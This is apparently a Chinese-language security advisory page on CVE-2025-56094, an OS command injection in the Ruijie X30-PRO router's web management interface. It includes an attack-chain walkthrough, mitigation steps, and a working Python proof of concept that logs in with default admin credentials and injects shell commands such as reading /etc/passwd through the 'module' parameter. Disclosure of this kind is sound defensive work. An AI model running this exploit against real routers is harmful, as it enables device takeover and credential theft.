IPBUF安全漏洞报告
English
CVE-2025-56094 CVSS 8.8 高危

CVE-2025-56094: 锐捷X30-PRO路由器OS命令注入漏洞

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2025-56094
漏洞类型
操作系统命令注入(OS Command Injection)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Ruijie X30-PRO (X30-PRO-V1_09241521)

相关标签

CVE-2025-56094命令注入RuijieX30-PRO路由器漏洞IoT安全高危漏洞OS命令注入锐捷网络CVE-2025

漏洞概述

CVE-2025-56094是锐捷网络(Ruijie Networks)X30-PRO路由器中存在的一个高危操作系统命令注入漏洞。该漏洞位于设备的Web管理界面,具体位于/usr/local/lua/dev_sta/host_access_delay.lua文件中的module_get功能点。由于该功能对用户输入未进行充分的安全过滤和参数化处理,攻击者可以通过构造恶意的POST请求,在服务器端注入并执行任意操作系统命令。成功利用此漏洞的攻击者可以完全控制受影响设备,执行任意代码、安装后门、窃取敏感数据或将其纳入僵尸网络。由于该漏洞的CVSS评分达到8.8,且攻击复杂度低,无需高级权限即可实施攻击,因此对使用该设备的组织和个人构成严重安全威胁。建议受影响的用户尽快采取防护措施。

技术细节

该漏洞属于典型的操作系统命令注入(OS Command Injection)漏洞,存在于Ruijie X30-PRO路由器的Lua脚本模块中。具体来说,问题出现在/usr/local/lua/dev_sta/host_access_delay.lua文件的module_get函数。当设备处理HTTP POST请求时,该函数直接接收用户可控的参数并将其拼接到系统命令中执行,而未对输入进行任何命令注入防护(如输入验证、参数化执行或特殊字符转义)。攻击者可以利用分号、管道符、反引号等Shell特殊字符,突破原有命令边界,注入任意系统命令。由于漏洞位于网络管理接口且认证要求较低(PR:L),具有设备管理账户的攻击者可以轻易利用此漏洞获取设备的最高控制权。攻击成功后,攻击者可以执行任意Shell命令,包括读取配置文件获取凭证、修改路由表、植入持久性后门等操作。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标为Ruijie X30-PRO路由器,确认设备型号和固件版本(X30-PRO-V1_09241521)
STEP 2
步骤2
认证获取:攻击者使用默认凭据或已获取的低权限账户登录设备Web管理界面
STEP 3
步骤3
构造恶意请求:攻击者构造包含命令注入payload的POST请求,目标是/cgi-bin/module_get端点
STEP 4
步骤4
命令注入执行:payload通过module参数注入到/usr/local/lua/dev_sta/host_access_delay.lua的module_get函数,利用Shell特殊字符(;、|、`等)执行任意系统命令
STEP 5
步骤5
后渗透利用:攻击者可在设备上执行任意操作,包括读取敏感配置、植入后门、横向移动等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-56094 PoC - Ruijie X30-PRO OS Command Injection # Target: Ruijie X30-PRO X30-PRO-V1_09241521 # Endpoint: /cgi-bin/module_get (module_get in host_access_delay.lua) import requests import sys TARGET = "http://{target_ip}" # Replace with target IP LOGIN_URL = f"{TARGET}/cgi-bin/login" CMD_URL = f"{TARGET}/cgi-bin/module_get" def login(): """Authenticate to the Ruijie device""" login_data = { "username": "admin", "password": "admin" # Default credentials } try: resp = requests.post(LOGIN_URL, data=login_data, timeout=10) # Extract session cookie if needed return resp.cookies except Exception as e: print(f"[-] Login failed: {e}") return None def exploit(cookies, command="id"): """Exploit OS Command Injection via module_get""" # Payload: inject command using pipe or semicolon payload = { "module": f"host_access_delay;{command}", "action": "get" } try: resp = requests.post(CMD_URL, data=payload, cookies=cookies, timeout=10) print(f"[+] Response:\n{resp.text}") return resp.text except Exception as e: print(f"[-] Exploit failed: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) TARGET = f"http://{sys.argv[1]}" print(f"[*] Targeting {TARGET}") cookies = login() if cookies: print("[*] Login successful, launching exploit...") exploit(cookies, "id") # Execute 'id' command exploit(cookies, "cat /etc/passwd") # Read passwd file

影响范围

Ruijie X30-PRO X30-PRO-V1_09241521

防御指南

临时缓解措施
建议受影响的用户立即采取以下临时缓解措施:1)将锐捷X30-PRO设备的管理接口限制在可信网络范围内,避免暴露到公网;2)使用严格的访问控制列表(ACL)限制可访问管理界面的IP范围;3)监控设备日志,关注异常的POST请求模式;4)如果业务允许,考虑暂时禁用受影响的功能模块;5)等待厂商发布官方安全补丁后立即升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表